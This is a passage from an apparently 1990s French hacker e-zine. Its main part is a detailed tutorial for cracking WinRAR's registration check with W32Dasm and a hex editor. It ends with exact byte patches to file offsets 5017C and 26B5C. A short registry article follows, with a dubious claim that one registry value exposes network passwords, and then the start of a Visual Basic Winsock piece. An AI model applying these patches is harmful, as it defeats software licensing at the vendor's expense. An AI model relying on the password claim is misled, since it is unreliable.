"Goto Code Location" du menu "Goto". WIN32DASM nous permet aussi d'effectuer les jumps et les calls dans le code desassemble, grace aux commandes du menu "Execute Text". Lorsque WIN32DASM detecte une instruction de saut ou de call, elle est automatiquement affichee en vert, pour plus de facilite ;)) De plus, au debut de chaque procedure, WIN32DASM nous indique a quels endroits du programme cette procedure est appelee. Ensuite, dans la ligne de status en bas de la fenetre, nous pouvons voir des informations tres interessantes, comme l'offset de l'instruction courante dans le fichier EXE original. Nous pouvons aussi visualiser le(s) segment(s) de donnees en hexadecimal, grace a la commande "Hex Display Of Data Object/Segments" du menu "HexData". Enfin, nous pouvons visualiser toutes les ressources utilisees par le programme, grace aux commandes "Menu References", "Dialog References", et "String Data References" du menu "Refs". On peut aussi utiliser plus facilement plusieurs de ces commandes grace a la barre d'icones ;) Maintenant nous allons passer au debugger. Pour lancer le debugging du programme, il nous suffit de cliquer sur la commande "Load Process" du menu "Debug". On a un chtit ecran "Load Dissassembly Dialog" qui apparait, et qui peut servir a entrer des parametres de la ligne de commandes au programme. Ici, dans le cas de WINRAR, on a pas besoin de ca, donc on clique direct sur "Load". Nous avons 3 fenetres qui apparaissent a l'ecran. La 1ere contient toujours le code source desassemble. La 2eme contient l'etat des registres, de la pile, et toutes une serie d'informations sur les process, etc... La 3eme contient le code tel qu'il est present en memoire, et les commandes de debuggage proprement dit. Dans la 2eme fenetre, on peut observer au fur et a mesure de l'execution les modifications que subissent les registres, mais aussi observer le contenu de la pile du programme, et observer des variables qui sont en memoire. Dans la 3eme fenetre, on peut executer le code pas a pas dans les procedures ou non (F7/F8), on peut aussi faire une pause dans l'execution, l'executer normalement (F9), ou encore le patcher, c'est a dire modifier les instructions qui vont etre executees. Une autre fonction tres pratique est la fonction d'ajout de point d'arret dans le programme. Pour cela, il faut voyager avec le curseur dans la fenetre de code et presser sur F2 a l'endroit ou on veut placer un breakpoint. Le debut de la ligne se met alors en jaune pour l'indiquer. Pourquoi une 3eme fenetre alors que on a deja le code dans la 2eme ? Tout simplement parce que cette 3eme fenetre peut nous permettre aussi de debugger les DLLs ou les APIs Windows appelees par le programme, qui ne sont pas presentes dans le code desassemble. METHODES DE BASE ================ Je vais vous donner ici quelques techniques de bases pour trouver les cracks. Faut d'abord savoir que chaque programmeur code son programme comme il le veut , donc il n'y a pas de methode qui marche a tout les coups. Il faut souvent tester, analyser, et essayer, pour se rendre compte que ca ne marche pas et qu'il faut essayer autre chose. Tout d'abord, les programmes stockent souvent les informations de registration selon une de ces manieres: - dans le programme executable lui-meme, en allant modifier une donnee dans le programme, ou bien dans un fichier de donnees quelconque. - dans la base des registres, en mettant une valeur de cle a jour, ou dans un fichier .INI (du aux anciennes versions de Windows, style 3.1, etc) Dans le 1er cas, il va donc souvent s'agir d'aller modifier cette valeur pour simuler la registration. On peut aussi essayer d'inverser les conditions de la registration dans le programme (souvent des comparaison avec des sauts conditionnels). Dans le 2eme cas, on peut aussi evidemment aller modifier les informations dans la base des registres, mais c'est plus risque. Personnellement, je vous conseille d'essayer les inversion de comparaison dans ce cas-la aussi. Comment savoir ou se trouvent les differentes comparaisons dans le programme? On pourrait balayer tout le code du programme, a la recherche de ces comparaisons, ou bien le debugger a partir du debut. Mais cette technique peut etre tres longue, et surtout tres compliquee, car il faut quasiment connaitre tout le fonctionnement du programme en assembleur. Si le programme fait 500 lignes ca va, mais s'il en fait plus, comme 163000 comme WINRAR, ca devient un travail de fou ;)))) De plus, deja comprendre le programme de quelqu'un avec le code source n'est pas evident, mais avec le code assembleur, je vous souhaite bien du courage ;)))) On va donc essayer de proceder plutot dans le sens inverse. C'est a dire rechercher dans le code les endroits qui font intervenir des donnees de registration, et remonter a partir de ces donnres aux comparaisons. Autre chose: Ce n'est pas parce que l'on a trouver une comparaison et qu'on l'a inversee que le crack est parfait. Les programmes sont souvent concus pour posseder plusieurs protections, et la suppression d'une seule n'est pas suffisante. Comme vous le voyez, il n'y a pas vraiment de grande ligne a suivre, cela se fait un peu au feeling. Je vais essayer de vous montrer le chemin que j'ai suivi pour cracker ce programme, avec les faux pas et les bons, pour que vous puissiez comprendre plus efficacement. Au niveau de la methode "generale", je vous conseille de proceder de la maniere suivante: - analyse de la registration au niveau de l'interface - analyse des references - analyse du code relatif au references - analyse des donnees - debugging eventuel - patching - tests ANALYSE DE L'INTERFACE ====================== Pour mieux suivre la suite, je vous conseille de charger cette doc dans un fichier dans votre bloc-notes par exemple, et de faire les tests et les commandes en meme temps que moi. Vous comprendez surement beaucoup mieux ;) Avant de debugger, ce que l'on a trop souvent tendance a faire au debut, nous allons d'abord analyser un petit peu la registration en detail. Lancons WINRAR.EXE normalement (pas dans WIN32DASM I mean ;) Cherchons ou se trouve ce foutu ecran de registration :) Il se trouve dans le menu "Options", commande "Registration". Notons cette petite commande interessante. Ensuite, regardons un petit peu l'interface. On remarque que la barre de titre de la fenetre contient un beau message "evaluation copy". Mettons le aussi de cote. Allons aussi voir une eventuelle information dans la boite "A propos de...", que l'on trouve assez couramment. Ici, pas de chances, la boite de dialogue "About WinRAR..." ne mentionne pas la registration ou non du programme. Il est donc souvent tres interessant de noter le plus d'informations possibles qui sont affectees par la registration, car ces informations doivent probablement subir un test avant d'etre affichee, dans le menu, dans la barre de titre, etc... Maintenant, nous allons essayer d'entrer un numero de registration errone, pour voir comment le programme reagit. Ne vous inquietez pas, tout les programmes permettent des erreurs de registration, c'est si vite arrive, donc pas d'panik ;) Nous lancons donc la commande "Registration" du menu "Options", et nous arrivons devant une belle boite de dialogue. Notons toutes les chaines de caracteres qui sont affichees dans cette boite de dialogue, elle pourront eventuellement nous renseigner sur l'endroit ou la boite de dialogue est appelee dans le programme. Ensuite, entrons un texte et un code de registration, n'importe quoi. Par exemple: "iga" et "iga", et pressons "OK". Nous avons immediatemment une boite de dialogue qui s'amene, toute contente, avec un titre "Warning", ainsi qu'un beau message "Registration failed". Notons evidemment ces chaines de caracteres. Voila, nous avons a peu pres tout note au niveau de l'interface... ANALYSE DES REFERENCES ====================== Nous lancons WIN32DASM et chargeons le programme WINRAR.EXE. Nous allons d'abord analyser les references, c'est a dire essayer de trouver les donnees que nous avons note dans la phase precedente, et de trouver ou ces donnees sont utilisees dans le programme. Allons dans le menu "Refs", et cliquons sur "Menu References". Nous avons une liste de toutes les chaines presentes dans les menus qui sont affichees. Parcourons un peu cette liste, a la recherche de chaines qui pourraient nous interesser. Nous trouvons la chaine "Registration", correspondant a la commande du menu "Options". Cliquons 2x sur cette chaine, WIN32DASM saute directemment aux endroits correspondants dans le code ou cette chaine est referenciee. Nous arrivons a un endroit du code, autour de la ligne d'adresse 0044B3A6, 0044B3AB. A priori, le code qui suit n'as pas l'air tres explicite sur ce qui se passe a cet endroit la du code. En fait, les commandes de menus n'apportent pas souvent d'informations tres utiles, car elles sont justes affichees et n'effectuent aucun traitement. La decision de l'affichage ou non de la commande ne se fait pas au meme endroit dans le code, elle se fait dans la gestion de l'objet du menu, dont nous ne savons pas ou elle se trouve ;) Allons maintenant dans le menu "Refs", et cliquons sur "Dialog References". Parcourons cette liste, a la recherche d'informations. Nous ne trouvons malheureusement pas d'information tres interessante. Allons ensuit dans le menu "Refs", sur "String Data References". Cette liste contient toutes les chaines de caracteres du programme. Elle est assez longue, mais il est tres interessant de la parcourir entierement, car elle apprend souvent plus d'informations que les references de menu ou de boites de dialogue. Premiere chaine interessante, sur la premiere page: "Available in registered version only". Cliquons 2x dessus, et nous sommes amenes dans le code pres de l'adresse 00404670. En remontant un peu dans le code, ainsi qu'en descendant un peu, autour de cette adresse, nous voyons des references vers "Unselect group","Invert selection copy", etc... Cela nous indique que ce message permet de faire des selections de groupe, etc... dans la version enregistree. En observant un peu plus le code juste au dessus de la ligne, nous avons ceci: call 0040A0C0 add esp,0000000C test eax,eax je 00404678 push 00000001 Pourquoi remarquer cette partie du code ? Tout simplement parce que nous y observons une comparaison TEST, sur le registre eax. La commande TEST en assembleur compare le contenu du registre de gauche a celui de droite, en effectuant un AND binaire bit a bit entre les 2 registres. Ici, comme nous faisons un AND binaire entre EAX et EAX, nous obtenons forcement EAX comme valeur resultante. Cette methode est souvent utilisee par des compilateurs, pour optimiser le code, pour savoir si un registre est egal ou non a 0. Donc, si EAX est egal a 0, le processeur saute a l'adresse 00404678. Allons un peu ce qui se passe a cet endroit. Positionons le curseur sur la ligne "je 00404678", et la ligne devient de couleur verte. ( JE est une instruction assembleur qui effectue un saut a l'adresse indiquee si les valeurs comparees dans la derniere comparaison etaient egales ) Maintenant, cliquons sur lancons la commande "Execute Jump" du menu "Execute Text". Nous arrivons donc a l'adresse 00404678. Remontons un petit peu, pour voir ou nous sommes, et oh surprise :))) Nous avons sauter la partie du code qui utilisait la reference !!! Qu'est-ce que cela veut dire ? Cela veut dire que EAX, s'il est different de 0, a cet endroit du programme, indique probablement si le programme est enregistre ou non. Pourquoi EAX ? Retournons a notre instruction de saut JE originale, en pressant "Return From Last Jmp" dans le menu "Execute Text". Un peu au dessus, juste au dessus de la ligne "add esp,0000000C", nous avons une instruction CALL. CALL represente un appel de procedure. Or, dans la programmation habituelle structuree sous Windows, les fonctions (procedures) renvoient leur valeur resultante dans le registre EAX. Donc, apparement, cette fonction renvoie une information concernant la registration ou non du programme. Allons donc un peu voir ce que cette fonction fabrique ;) Nous allons donc sur le CALL, puis nous lancons la commande "Execute Call" du menu "Execute Text". Nous arrivons dans le code de cette procedure. Un petit rappel, la fin de la procedure est toujours signalee par un RET. Ici, nous apercevons un RET quelques lignes plus bas, qui montre donc que cette procedure n'est pas tres longue. Autre information: au debut les procedures, vous appercevrez souvent beaucoup de commandes qui font intervenir [ebp+X] dans des instructions assembleur. Cela est du tout simplement au fait que les parametres des fonctions sont passes sur la pile dans les languages courants, et que ce registre EBP est classiquement utilise pour acceder a ces parametres. De meme, le registre ESP est lui souvent modifie en debut de procedure pour "descendre" la pile, et reserve de l'espace dessus, le plus souvent pour les variables locales de la procedure. Cela se fait au moyen d'une instruction "sub esp,VALEUR". Ce n'est cependant pas le cas dans cette procedure. Cette fonction ne fait donc apparement pas grand chose, exepte un autre CALL, vers l'adresse 0040A064. Allons voir cette 2eme fonction, avec la commande "Execute Call". Nous arrivons a une procedure apparement plus importante. En regardant un petit peu les pages qui suivent, nous appercevons que cette procedure fait appel a une API Windows: l'API RegQueryValueExA (ligne en bleu dans le code). Cette API est en effet une API qui permet d'aller chipoter dans la base des registres... hehe cela devient interessant ;) Mais cette fonction a l'air assez compliquee, donc nous n'insiston pas trop pour l'instant... Vous pouvez revenir 2x en arriere avec la commande "Return From Call", puisque nous avons utiliser 2x la commande "Execute call" ;)) Nous avons donc analyser tout ce qui tourner autour de la 1ere refrence de chaine qui nous semblait interessante. Revenons a la liste des references de chaine, et continuons a la parcourir. Beaucoup plus loin vers la moitie de la liste, nous trouvons la reference suivante: "String Resource ID=00870 : Registration Failed", ainsi que plusieurs autres chaines interessantes derriere !!! Cliquons 2x sur la reference "Registration Failed", pour voir ou cette reference est utilisee par le programme. Nous arrivons autour de l'adresse 00409DC0. Ahhh... Enfin quelques trucs interessants ;) Tout d'abord, nous observons un peu en dessous un bel appel de l'API MessageBoxA. En remontant d'une page, on appercoit aussi notre "Warning", qui etait le titre de la boite de dialogue du message d'erreur... En regardant un peu apres le MessageBoxA, nous appercevons un autre message que l'on aimerai justement bien voir apparaitre ;))) "Correct Registration", suivi de "Thank you for support", puis suivi encore un peu plus loin d'une autre appel a MessageBoxA. Tout cela devient assez interessant n'est-ce pas ;))) D'ou cela provient-il ? Le fait que ces 2 messages soient si proches l'un de l'autre n'est pas du au hasard. Quand le compilateur code une instruction conditionnel du type "if {} else {}", il utilise pour cela une comparaison en assembleur, suivie d'un Jx (JE,JC, sauts conditionnels) vers l'une des solutions. L'autre solution reste dans le deroulement "sequentiel" du code du programme. Donc, vraissemblablement, il doit y avoir de nouveau une comparaison avant ces instructions qui effectue un saut vers l'un ou l'autre des affichages, suivant que le programme est enregistre ou non. Remontons donc un petit peu, vers + ou - l'adresse 00409DA9. Nous retrouvons un suite d'instructions un peu semblable a tantot, a savoir: call 004272C0 add esp,00000008 test eax,eax jne 00409DE1 Apres ces instructions, le processeur continue et execute les instructions qui vont afficher la boite de dialogue avec une erreur de registration. Analysons un peu le JNE, pour voir ou il nous emmene, en utilisant la commande "Execute Jump". Oh surprise :))) Nous nous retrouvons cette fois devant le message "Correct registration" !!! Donc, de nouveau, c'est la comparaison "test eax,eax" qui precede qui decide ou non du fait que le programme est enregistre... Et de nouveau, nous avons un peu avant cela un appel de fonction, qui renvoie sans doute une valeur dans EAX. Remarque: certains personnes auraient tendance a aller essayer de modifier la comparaison qui effectue le saut vers le bon affichage, en l'inversant. Attention ! Si vous ne modifiez que ce saut, vous aurez en effet le bon message "Registration Correct" qui sera affiche, mais les commandes actives dans la version enregistree ne seront toujours pas valide ! En regle generale, il est preferable d'essayer de modifier la source de la comparaison, que la comparaison elle-meme, car il y en a souvent plus que une. ANALYSE D'UNE PROCEDURE INTERESSANTE ==================================== Allons un peu voir ce qui se trouve dans la fonction (commande "Execute Call"). Nous nous rendons compte que cette fonction a l'air assez longue, et qu'elle appelle elle-meme plusieurs autres fonctions... Mais que cherchons nous ? En fait, nous cherchons a atteindre la fin de la procedure, et de voir quelle est la valeur qui est renvoyee via EAX a notre programme principal. Notons cependant l'adresse du CALL vers la fonction: 00409DA9 Nous allons donc parcourir cette fonction, en effectuant tout les jumps internes grace aux commandes "Execute Jump", jusqu'a ce que nous arrivions a la commande RET. Nous ne rentrerons cependant pas dans les CALL de cette procedure, pour ne pas nous perdre ;) Pourquoi ne pas effectuer ceci avec un desassembleur allez vous dire ? Tout simplement pour eviter de perdre inutilement du temps dans des boucles eventuelles, qui pourraient rendre le tout extremement confu ;) Donc, des que la couleur du curseur devient verte (saut), nous regardons s'il ne s'agit pas d'un CALL, et si ce n'est pas le cas, nous regarderons si nous devons executer ce saut ou pas. Nous allons ainsi arriver au 1er test: 0042732A test eax,eax je 00427334 Nous allons essayer d'arriver le plus vite possible vers la fin de la procedure, et si nous ne trouvons rien d'interessant de cette maniere, nous essayerons un autre "parcours" dans la procedure. Pour aller le plus vite, il sufit de regarder les sauts conditionnels, et de voir si l'adresse cible est apres l'adresse courante ou non. Si c'est le cas, nous y allons avec la commande "Execute Jump". Dans ce cas-ci, donc, nous executons le JE. Nous arrivons a ceci xor eax,eax jmp 004275C6 Le XOR est une instruction souvent utilisee dans les compilateurs pour remettre un registre a 0(elle est plus economique en codage hexadecimal). En effet, le XOR effecture un OU EXCLUSIF entre les 2 registres fournis. Or, les 2 registres etant egaux dans ce cas-ci, il en resulte un 0. Effectuons ensuite le saut inconditionnel vers 004275C6. Nous nous retrouvons a la fin de la procedure, apres une serie de depilage peut interessants. Donc, c'est une valeur de 0 qui est retournee a notre programme principal, et nous savons que cette valeur 0 entrainera un affichage d'un message de registration incorrecte. Nous allons donc revenir au test precedent la mise a 0 de EAX, et prendre l'autre parcours, a savoir ne pas effectuer le JE. Pour revenir, nous pouvons utiliser la commande "Return From Last Jump" 2x. Pourquoi ne pas essayer de savoir d'ou provient la valeur qui est dans EAX a cet endroit ? Parce que nous ne sommes peut-etre qu'au debut de la procedure, et que cette valeur n'a peut-etre rien avoir directemment, ou que cette valeur peut encore subir plusieurs modifications avant la fin de la procedure. Nous n'executons donc pas le "je 00427334". Nous arrivons a un 2eme test: cmp dword ptr [ebp-04],0000003C jle 0042733B Si nous n'executons pas ce jump, nous observons que nous revenons au fameux "xor eax,eax", ce qui n'est pas interessant. Nous executons donc ce JLE. Nous avancons un petit peu, jusqu'a: 00427346 mov dword ptr [0045155C],eax test eax,eax jne 00427368 Qu'observons nous la ? Tout d'abord, nous observons de nouveau un TEST sur EAX. Mais, nous observons aussi que le programme accede a une variable globale, situee a l'adresse [0045455C]. Or, un bon programmeur evite le plus possible d'utiliser des variables globales, sauf quand cela est vraiment necessaire. Le plus souvent, il utilise des variables sur la pile, referencees d'une toute autre maniere, a l'aide des EBP ou de ESP. N'oublions pas que une variable quelconque qui indiquerai la registration serait plus probablement globale que locale, etant donne qu'elle doit etre probablement accessible a un grand nombre de fonctions. Si nous n'effectuons pas le JNE, nous nous rendons compte qu'une chaine "Not enough memory" est utilisee, ce qui semble etre un cas particulier, donc nous allons plutot executer le JNE. Nous arrivons a une longue sequence d'instructions, et nous continuons notre parcours, jusqu'a: 004273C9 lea eax,dword ptr [ebp+FFFFFF74] jge 004273DF Executons ce saut, qui nous rapproche probablement de la fin. Nous executons encore le saut suivant un peu plus loin, qui nous rapproche lui aussi de la fin. Nous arrivons a: 0042740C inc ebx inc [ebp-10] cmp ebx,00000005 jl 004273EA Ce saut revient en arriere, probablement parce qu'il s'agit d'une boucle, donc nous ne l'executons pas. Nous continuons a avancer, et nous voyons que nous entrons dans une serie d'instructions plutot difficile a interpreter... C'est souvent la partie la plus critique de l'analyse, car on ne sait pas tres bien quel solution prendre. Rappelez vous toutefois que la procedure doit obligatoirement sortir par un RET, et que donc, quel que soit le chemin, il y aura toujours un moment ou nous arriverons a ce RET. Dans ce cas-ci, plutot que d'executer ces instructions aux risque de s'y perdre, essayer de retourner a la fin de la fonction (adresse 004275C6 provenant du saut du debut avec EAX qui etait remit a 0 par un XOR). Remontons un peu au dessus de cette adresse, pour voir ce qui se passe quand on arrive a la fin de la fonction par un autre chemin. En fait, cette methode est plutot essayer des le debut, car elle nous aurait eviter tout le parcous interne de la procedure. Nous avons suivi un petit peu ce parcours interne comme exemple, pour voir comment se debrouiller lorsqu'il y a divers type de sauts qui etaient interessants. Maintenant revenons au lignes precedants la fin de la fonction. Voila qui devient interessant. Observons la ligne precedente: mov eax,dword ptr [0045157C] Cette ligne place donc comme valeur de retour de notre procedure (puisque EAX n'est plus modifie par apres), la valeur de la variable globale d'adresse 0045157C. La il n'y a plus a hesiter... Nous venons probablement de trouver l'adresse d'un flag qui indique la registration ou non de notre programme ! Resumons: si ce DWORD est a 0, le programme n'est pas enregistre. Si il est different de 0, le programme est bien enregistre ! ANALYSE DES DONNEES =================== Nous allons maintenant aller voir ce que contient effectivement cette petite variable bien interessante ;) Pour cela, nous allons aller dans le menu "HexData", commande "Hex Display of Data Object/Segments". Rendons nous donc a l'adresse 0045157C (il faut cliquer sur Page, pour passer a la page suivante). Nous arrivons a: 00451578 00 00 00 00 xx 00 00 00 00451580 00 00 00 00 00 00 00 00 00451588 00 00 00 00 00 00 00 00 00451590 00 00 00 00 00 00 00 00 00451598 00 00 00 00 C4 F4 E6 E4 Ou l'adresse recherchee est la valeur xx et est egale a 0 ! Cela parait coherent. Le programme n'est pas enregistre, et la valeur du flag est en effet bien egale a 0. Qu'allons nous faire ? bahh, assez logiquement, nous allons essayer de modifier la valeur de ce byte. Comment proceder ? Nous allons essayer d'aller modifier la valeur de ce byte directement dans WINRAR.EXE. Pourquoi directemment dans le fichier .EXE ? Pour etrecertain que la valeur que nous allons mettre sera bien en memoire des la 1ere instruction du programme. Retournons au tout debut du listing du desassemblage. Nous avons la une information interessante: Data Offset = 0004CC00, Data Size = 00007C00 Cela veut dire que notre segment de donnees commence au byte nø0004CC00 dans le fichier WINRAR.EXE . Retournons maintenant dans la fenetre "Hex Display of Data Object/Segments", sur la 1ere page. Nous observons que la 1ere donnee se trouve a l'adresse 0044E000. Notre variable elle, se trouve a l'adresse 0045157C. Nous effectuons donc le calcul 0004CC00+(0045157C-0044E000), avec la calculatrice en mode hexadecimal de Windows (je parie que vous vous en etiez jamais servi hein ;))) Ca nous donne comme resultat: 5017C. Nous allons donc aller modifier le byte nø5017C dans WINRAR.EXE Avant toute modification, je vous conseille de sauvegarder le fichier WINRAR.EXE original, par securite. Nous lancons ensuite UltraEdit, et ouvrons le fichier WINRAR.EXE en mode d'edition hexadecimale (menu "Edit", "Hex Edit"), et nous nous rendons a l'offset 5017C du fichier (l'offset est affiche dans la barre de status en dessous). Nous remarquons que nous retrouvons bien les meme bytes "C4 F4 E6 E4" qui suivaient un peu plus loin dans les donnees en memoire, ce qui confirme qu'on est bien au bon endroit. Qu'allons nous mettre a cet adresse ? Une valeur differente de 0, peut importe. Mettons par exemple "FF FF FF FF", pour etresur ;) Puis sauvegardons le fichier WINRAR.EXE Et si on essayait ? Nous lancons WINRAR.EXE, et... surprise, c'est comme si on avait rien change :((( D'ou cela provient-il ? Cela veut dire que la valeur qui est dans le fichier n'intervient pas lors de l'execution, qu'elle est simplement ecrasee par la valeur reelle du flag a un moment dans le programme. DEBUGGING ========= Nous allons donc maintenant essayer de savoir ou a lieu cette modification de la variable. Pour cela, nous allons relancer WIN32DASM, charger WINRAR.EXE, et lancer le debugger. Nous cliquons donc sur la commande "Load Process" du menu "Debug", puis nous pressons "OK" (aucun parametre). Ensuite, nous allons mettre des points d'arrets a tout les endroits du programme qui font reference a l'adresse 0045157C. Pour cela, nous allons dans le menu "Search", commande "Find Text", et nous tapons l'adresse "0045157C" a rechercher. A la 1ere occurence trouvee, vous pressez annuler, pour ne plus avoir cette fichue boite de dialogue affichee ;), puis vous pressez F2, pour activer un point d'arret a cet endroit. La ligne doit normalement s'afficher en jaune. Puis vous pressez sur F3 pour continuer la recherche, et de nouveau F2... Vous procedez ainsi de suite jusqu'a avoir un message "Text {0045157C} Not Found". Au passage, vous pouvez remarquer que cette adresse a l'air d'etre effectivement beaucoup utilisee avec des comp "[0045157C],00000000", donc probablement des tests qui verifie la registration ;) Maintenant, nous allons lancer le programme, avec la commande "Run" (F9). Aussitot lance, aussitot arrete hehe ;) Normalement, vous etes arrete au breakpoint: 00427554 test eax,eax 00427556 sete al 00427559 and eax,00000001 0042755C mov dword ptr [0045157C],eax <- BREAKPOINT Comme vous le remarquez, la valeur courante de EAX est apparement placee dans la variable, d'ou l'ecrasement que nous avions mentionne tantot... Que faire ? La solution la plus facile serait d'eviter l'ecrasement de notre variable, que nous avons initialisee a FFFFFFFFh en patchant l'executable. Pour cela, nous allons utiliser l'instruction NOP (90h), qui est une instruction qui ne fait rien. Cependant elle occupe des octets, ce qui va nous aider, puisque la structure du fichier .EXE ne sera donc pas modifiee. Placons le curseur exactement sur l'adresse de l'instruction de modification. Au passage, notons: 0042755C A37C154500 mov dword ptr [0045157C],eax Donc, cette instruction est codee de maniere hexadecimale par "A37C154500". Dans la barre de status du dessous, nous notons aussi l'offset de l'instruction dans le fichier executable: "@Offset 00026B5Ch in File:WinRAR.exe" Nous ressortons donc UltraEdit, pour aller modifier les 5 bytes situes a l'offset 00026B5Ch, et aller y ecrire 9090909090h. Mais tout n'est pas termine... Nous pouvons aussi nous servir des lignes precedents la commande MOV. En effet, si nous les regardons plus attentivement, en observant la derniere instruction "and eax,00000001", nous pouvons en tirer comme conclusion que la valeur est une valeur egale soit a 0 soit a 1. En effet, la commande AND est souvent utilisee pour masquer des bits en effectuant un AND logique. Danc ce cas-ci, elle masque tout les bits sauf le premier. Etant donne que la valeur 0 signifie que le programme n'est pas enregistre, nous pouvons donc estimer que la variable a l'adresse 0045157C doit contenir la valeur 1 pour simuler la registration. Nous allons donc avec UltraEdit, aller remplacer la valeur FFFFFFFFh que nous avions ete mettre tantot, par la valeur 00000001, qui est plus appropriee. Puis nous relancons notre programme et... ... et cette fois ca a bien l'air de marcher ;)))) La barre de titre de la fenetrenous l'indique en tout cas. Allons voir dans le menu "Options". Tient tient, l'option "Registration" est toujours presente. Entrons des valeurs pour voir: "iga" "iga" Nous avons bien la boite de dialogue "Correct Registration" qui apparait. Voila qui est fait ;) Il reste cependant une enigme, a savoir le fait que la commande "Registration" soit toujours presente dans les menus. N'ayant pas eu de version enregistree mai seulement des version de demonstration, je ne peut savoir si elle est toujours bien presente dans les versions enregistrees officiellement. Cependant tout les tests concernant le flag de registration semblent montrer la faiblesse du systeme de protection du programme. LE MOT DE LA FIN ================ Pour resumer, nous devons donc modifier les octets suivants dans le programme: offset: 5017C : 00 00 00 01 offset: 26B5C : 90 90 90 90 90 Pour faciliter cette tache, je vous conseille de programmer une petite fonction dans le language de votre choix, que vous pourriez utiliser facilement, en donnant l'offset et le byte a patcher. Voila,j'espere que vous n'avez pas eu trop de mal a comprendre la methode generale expliquee ici ;) Ciao, ___________________ [Quotes of the month]\____________________________ [__2 --> Non je veux pas y aller a la garderie c'ete! [Wyze--> Bah fait toe en pas, on vas y aller ensemble! [Qwz --> Bah moe je suis toujours rendu la! [JacK--> La garderie ca suxx, les monitrices c toutes des lesbiennes!! [Bozz--> Eil c'est degelasse, y veulent meme pas me laisser rentrer a la garderie! [Data--> Look like deja partie pour l'ete, ha les camps de vacances. _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.16] _|_| Quand JACKEL se force ailleurs que sur une toilette \_________/_/ So CalleD _ ______ __ _ _ Ecrire en Programmant en C during same time _/_/ [By:|JaCKeL|] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] ************************************************ S E X ************************************************ /* Petite PUB pour attirer l'attention des puppies a lire cette article !! Ca marche non ? */ Comme je crois formellement qu'avant de /vouloir/pouvoir/ planter un systeme de 200 machines il faut premièrement comprendre sa propre machine. Donc cet article est le premier d'une série de (je sais pas combien) qui porteront sur le fonctionnement, comportement logiciel et matériel de votre ordinateur. Sujet de ce premier article : LA BASE DES REGISTRES WINDOWS. Classe de compréhension : Software Niveau : Expert / Avancé Crédit : AUCUN !!! Mouhahahah // Hehe ca vais vraiment livre platte cette facon // d'annoncer l'article. --------------- FAQ mode article :) --------------------- "Duh ?? Base des registres kessé ca ???" C'est peut-être la chose la plus important du Windows. Personne a remarqué que depuis Windows 95 on a plus a setter des gréments comme les IRQ (Interrupt ReQuest) ou les DMA (Direct Memory Access) dans vos jeux ou apps, comme dans le bon vieux temps du DOS. Puis personne n'a remarqué que Windows retien toute information comme votre background, vos préférences, vos périphériques pis tous le reste. Ben c'est ben stocker a quelque part ca ! Think BASE DE REGISTRE MEC !!! *--- 1. "C'est où ca ???" Très simple la base de registre est composés de 2 fichiers C:\WINDOWS\ USER.DAT // Vos préférences (ou setting) personnel SYSTEM.DAT // Les paramètres système et logiciel Je vous recommande très fortement de faire un backup de ses 2 fichiers avant d'effectuer toute modification. *--- 2. "Pis on peut modifier ca ??? " "C'est gros,comment je fais pour me retrouver ??" Oui ca se modifie, et malgré les apparances, c'est très simple. On peut l'éditer avec REGEDIT.EXE (fourni dans Windows). Il existe une recherche dans le menu édition pour trouver ce que l'on cherche. Ensuite on peut la modifier a la main en double cliquant sur la variable a changer, ou l'automatiser avec un .REG , et comment faire un .REG ??avec notepad, tout simplement !!!! Exemple de .REG [HKEY_LOCAL_MACHINE\SOFTWARE\DMA Design\Grand Theft Auto] ;// ( le path dans la base des registres ) ;// ( dans se cas-ci il s'agit du .REG de ;// ( Grand Theft Auto (un bon jeux en réseau)) "Language"=dword:00000000 ;// ( la variable a changer ou à créer ;// suivi de la modification ) En passant les ";//" sont des commentaires. Les phrases commencant par ; sont ignorés dans les .reg et les // sont une indiquation de commentaire dans plusieurs language de programmation. *---3. "Kessé tu veux que ca me fasse??? J'veux hacker moi criss." Justement... L'encryption et le réadressage des passwords Microsoft se font la. En plus, plusieurs autre programme l'utilise pour stocker des informations qui peuvent etre tres utile. Comme par exemple allant changer le contenu de : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Policies\Network\HideSharePassword a 0, vous décachez tous les passwords réseau. Pour logger les modifications dans une base de registre, copier vote base de registe avant les modifications et recopier la apres. Ensuite utilisez un application comme FILECMP.exe du DOS 6.22 pour comparez les changement entre l'ancien et la nouvelle. De cette facon, vous pourrez décoder les changements, et meme les passwords... |JaCKeL| _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.17] _|_| API WINSOCKS \_________/_/ So CalleD _ ______ __ _ _ API WINSOCKS _/_/[By:Nitrogen] \ __________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Disclaim: --------- Mouahhahaha, désolé j'aimerais bin écrire un disclaim, mais mon article ne ce situe dans l'illégal, mais plutot sur la programmation. Parce que je crois qu'un hacker qui ne sais pas coder est un peu mal prit... Je profite de ce disclaim pour faire une petite intro. Je ne suis pas un expert en programmation, mais je suis assez experimenté pour vous dire que Visual Basic est plus pour debuter en programmation. Si vous voulez faire de vrai application n'ésitez pas, le C/C++ est pour vous. Cet article est destiné aux personnes ayant une certaine connaissance de Visual Basic, si vous n'avez jamais coder ce language passez à l'article suivant. Article: -------- Bon bien c'est ici que ca commence. Je vais toucher l'API de windows et au control winsock. _____ ________ ________________ ____________ ________ _________________ / \ | Informations | \____________ ___________ __________________ _____________ _____ _________/ | | | 1.0 Et bien... Qu'est ce que l'API de windows ?!?! | | | | API=Application Programming Interface. Ca sert a appeler | | des fonctions windows du style: Faire jouer du son, | | Reboot, Replacer le curseur(souris), etc... Ca facilite | | complètement la tâche d'un programmeur. Sans l'api coder | | un programme serais très ardus. | | (Pas pour tout les applications naturèlement) | | | | 1.1 C'est l'fun mais comment l'utiliser? | | | | Bin avez-vous jamais vu Api Text Viewer dans votre menu de | | Vb?C'est ca.. Jettez-y un coup d'oeil c'est fascinant... | | | | 1.2 Le control Winsock? | | | | Oui, le control winsock permet de faire des applications du | | style Client/Server. | | | | Pour ajouter le control winsock rien de plus facile allez | | dans le menu Project/Components(CTRL+T) et voila ajouter --> | | +++ Microsoft Winsock Control 5.0 +++ | \____________ ________________ ______ __________ _______________ _________/ ___ _______ _______ _____ / \ | API | \________ ____________ ____/ Bon ouvrez Api Text Viewer, il n'y à rien. Allez dans File/Load text file et ouvrez Win32api.txt. Maintenant dans la Combo box (Api Type) choisissez Declares. Il y à plusieurs items qui apparaissent, voici des call de 